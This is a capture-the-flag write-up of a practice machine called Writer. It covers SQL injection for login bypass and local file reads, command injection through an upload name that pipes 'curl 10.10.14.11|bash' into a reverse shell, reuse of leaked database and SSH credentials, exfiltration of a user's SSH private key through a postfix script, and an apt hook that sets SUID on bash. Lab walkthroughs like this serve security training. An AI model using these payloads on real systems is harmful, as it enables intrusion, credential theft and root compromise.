-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Thu Mar 3 21:48:08 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.11.101
Warning: 10.10.11.101 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.101
Host is up (0.091s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
# Nmap done at Thu Mar 3 21:48:25 2022 -- 1 IP address (1 host up) scanned in 17.17 seconds
As we see, ports 22 (SSH), 80 (HTTP), 139 and 445 (SMB) are open. Let's try to obtain more information about the services and versions running on those ports.
If we take a look at the /administrative directory, we'll see a login page.
At this point, I tried to bypass the login page with a basic SQL injection payload, logging in as the user ' or 1=1-- - and a random password.
If we hit the Sign in button, we'll be redirected to the /dashboard page.
Before inspecting the /dashboard page, we could try to enumerate the database with the SQL injection we found before. Let's open Burpsuite, and send the log in request to the Repeater.
To enumerate the database, we'll have to know how many columns have the current table. We can do it by selecting n number of columns and keep incrementing the n number until we get a different response. If we select only one column, we should get Admin Panel as the title of the page.
uname=' union select 1-- -&password=admin
But, if we keep incrementing the number of columns, we'll see that we'll get a different response by selecting six columns.
uname=' union select 1,2,3,4,5,6-- -&password=admin
Now the response has the Redirecting | Writer.HTB title, and we can also see that the second column appears in the response, which means that if we select something else, like the user of the database, it will appear in the response.
uname=' union select 1,user(),3,4,5,6-- -&password=admin
Now we could try to enumerate the whole database, but I tell you in advance that the only interesting thing that you'll find is a MD5 password hash, which can't be broken. But, as MySQL has the load_file() function, which allow us to get the content of local files, we could see the system users loading the /etc/passwd file.
uname=' union select 1,load_file("/etc/passwd"),3,4,5,6-- -&password=admin
Now we know that kyle and john are system users. On the other hand, if we go back to the website, we can see that the Wappalyzer extension detected that the website uses an Apache server.
Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.
As we can load files, we could load the /etc/apache2/sites-available/000-default.conf file which is the Apache configuration file of the website.
uname=' union select 1,load_file("/etc/apache2/sites-available/000-default.conf"),3,4,5,6-- -&password=admin
From this information we know that the /static directory, we found earlier with gobuster, is located in /var/www/writer.htb/writer/static. And we can also see there is a .wsgi file. If we take a look at it we should see a python script.
uname=' union select 1,load_file("/var/www/writer.htb/writer.wsgi"),3,4,5,6-- -&password=admin
Welcome #!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
This python script is importing the __init__.py file from the writer folder. If we take a look at it, we will see a fairly long script.
uname=' union select 1,loadfile("/var/www/writer.htb/writer/__init__.py"),3,4,5,6-- -&password=admin
As the script has some characters in hexadecimal, to convert them to ASCII I will put the entire code in the hex_script.py file and execute the following command, so we can read the script more easily on the script.py file.
cat hex_script.py | sed 's/"/"/g' | sed "s/'/'/g" > script.py
But before inspecting the python script, let's keep exploring the website, now that we have access to the /dashboard page. We see that there is a Stories section in which we can add or edit stories.
Let's add one story and put some random stuff in all the text fields.
Hit the Save button, intercept the request with Burpsuite and send it to the Repeater. If you look closely at the request, you'll see that the image_url parameter, which is empty, is a hidden parameter in the /dashboard/stories/add page.
To understand a bit more what is going on, let's go back to the python script we found earlier. If you inspect the code, you'll see that under the add_story function, triggered in the /dashboard/stories/add directory, we can upload files which need to have .jpg in the name. Those files will be stored in the /var/www/writer.htb/writer/static/img/ folder. The hidden image_url parameter we found earlier also need to have .jpg in the name. And the script executes a command at a system level which renames the file indicated on the image_url parameter.
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')
It's time to get a shell. First, let's set a netcat listener.
nc -lvnp 4444
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
As the script executes a command at a system level, we could try to break it with and execute whatever we want. First, let's create a file called index.html with the following content.
Next, let's set an HTTP server on port 80 with python.
python -m http.server 80
-m run library module as a script.
If we change the file_name of the image parameter to image.jpg;`curl 10.10.14.11|bash` and then fill the image_url parameter with file:///var/www/writer.htb/writer/static/img/test.jpg;curl 10.10.14.11|bash. The website will upload the image with that name, then it will execute the command on the name which basically will curl our local machine and execute the content on the index.html file, which sends us back a reverse shell.
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.101] 59942
bash: cannot set terminal process group (1062): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ whoami
whoami
www-data
Privilege Escalation
Let's set an interactive shell.
script /dev/null -c bash
At this point I started enumerating the machine and I found some credentials for the MySQL server on /etc/mysql/my.cnf.
cat /etc/mysql/my.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]
# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
Let's connect to the MySQL server with these credentials.
mysql -u djangouser -pDjangoSuperPassword
-uuser for login.
-ppassword for login.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 196
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [dev]>
Let's see what databases the djangouser user can access.
show databases;
+--------------------+
| Database |
+--------------------+
| dev |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)
Then I tried to log in with the user kyle and the password marcoantonio via SSH, and it worked.
ssh kyle@10.10.11.101
kyle@10.10.11.101's password: marcoantonio
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 7 Mar 09:55:25 UTC 2022
System load: 0.24
Usage of /: 64.7% of 6.82GB
Memory usage: 20%
Swap usage: 0%
Processes: 256
Users logged in: 0
IPv4 address for eth0: 10.10.11.101
IPv6 address for eth0: dead:beef::250:56ff:feb9:16c5
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jul 28 09:03:32 2021 from 10.10.14.19
kyle@writer:~$
Now we can grab the user flag.
cat user.txt
2148d5b4050f19b4a153da1640bedf8f
If we check the groups that the user kyle is a member of, we can see that he belongs to the filter group.
And every time an email arrives, the scripts in the file /etc/postfix/master.cf are executed. Luckily for us, if we see at the bottom of the file, we'll see that the /etc/postfix/disclaimer is being executed by the user john.
cat /etc/postfix/master.cf
dfilt unix - n n - - pipe
flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
The user john has in his home directory the .ssh folder which might have an id_rsa file.
ls -la /home/john/
total 28
drwxr-xr-x 4 john john 4096 Aug 5 2021 .
drwxr-xr-x 4 root root 4096 Jul 9 2021 ..
lrwxrwxrwx 1 root root 9 May 19 2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john 220 May 14 2021 .bash_logout
-rw-r--r-- 1 john john 3771 May 14 2021 .bashrc
drwx------ 2 john john 4096 Jul 28 2021 .cache
-rw-r--r-- 1 john john 807 May 14 2021 .profile
drwx------ 2 john john 4096 Jul 9 2021 .ssh
The idea here is to edit the /etc/postfix/disclaimer file, so when we send a random email, the script will send us the id_rsa file of the user john.
We have to send an email to a user that must exists, and we can find some valid emails on the /etc/postfix/disclaimer_addresses file.
cat /etc/postfix/disclaimer_addresses
root@writer.htb
kyle@writer.htb
Next step, let's create a python script on the writer machine, which will send an email to kyle@writer.htb.
Next, let's set a netcat listener on port 1234, and save the output in a file called id_rsa.
nc -lvnp 1234 > id_rsa
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
Then we will have to edit the /etc/postfix/disclaimer file, remove everything, and write a command that will send the id_rsa file of the john user to our netcat listener.
Finally, all we have to do is execute the python script we made to send the random email, and we should get the id_rsa file of the john user on our netcat listener.
python3 send.py
On the netcat listener.
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.101] 35196
Don't worry if this whole process doesn't work at first. Keep changing the /etc/postfix/disclaimer file and try to execute the send.py script several times until it works.
Now that we have the id_rsa file, let's give it the right permissions, and use it to log in with the john user via ssh.
chmod 600 id_rsa
ssh -i id_rsa john@10.10.11.101
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 7 Mar 11:08:46 UTC 2022
System load: 0.04
Usage of /: 64.8% of 6.82GB
Memory usage: 29%
Swap usage: 0%
Processes: 261
Users logged in: 0
IPv4 address for eth0: 10.10.11.101
IPv6 address for eth0: dead:beef::250:56ff:feb9:16c5
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jul 28 09:19:58 2021 from 10.10.14.19
john@writer:~$
pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.
python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On the writer machine.
wget http://10.10.14.11:8000/pspy64
--2022-03-07 11:31:07-- http://10.10.14.11:8000/pspy64
Connecting to 10.10.14.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: âpspy64â
pspy64 100%[========================================================================================================================================>] 2.94M 1.84MB/s in 1.6s
2022-03-07 11:31:09 (1.84 MB/s) - âpspy64â saved [3078592/3078592]
Whenever an apt-get update is made, all the files on the /etc/apt/apt.conf.d folder will be executed. And as we have the right permissions to create a file on that folder, and the update is being made by the root user, we could create a file which will give the SUID permission the /bin/bash binary before the system update is made.
nano /etc/apt/apt.conf.d/test
APT::Update::Pre-Invoke {"chmod +s /bin/bash";};
Then, we wait until the update is made, and the /bin/bash should have the SUID permission assigned.
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash
And finally, all we have to do is reap the harvest and take the root flag.